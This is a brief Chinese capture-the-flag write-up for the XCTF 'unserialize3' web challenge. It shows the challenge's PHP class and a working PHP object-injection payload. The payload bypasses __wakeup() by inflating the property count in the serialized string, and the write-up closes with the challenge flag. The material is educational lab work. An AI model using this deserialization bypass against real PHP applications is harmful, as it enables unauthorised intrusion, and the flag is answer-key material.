攻防世界-web进阶-unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

注意到了_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

  

那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,

那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1

将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  

cyberpeace{ecb272ecae9b3b73f3009359272108b0}
原文地址:https://www.cnblogs.com/tac2664/p/13869825.html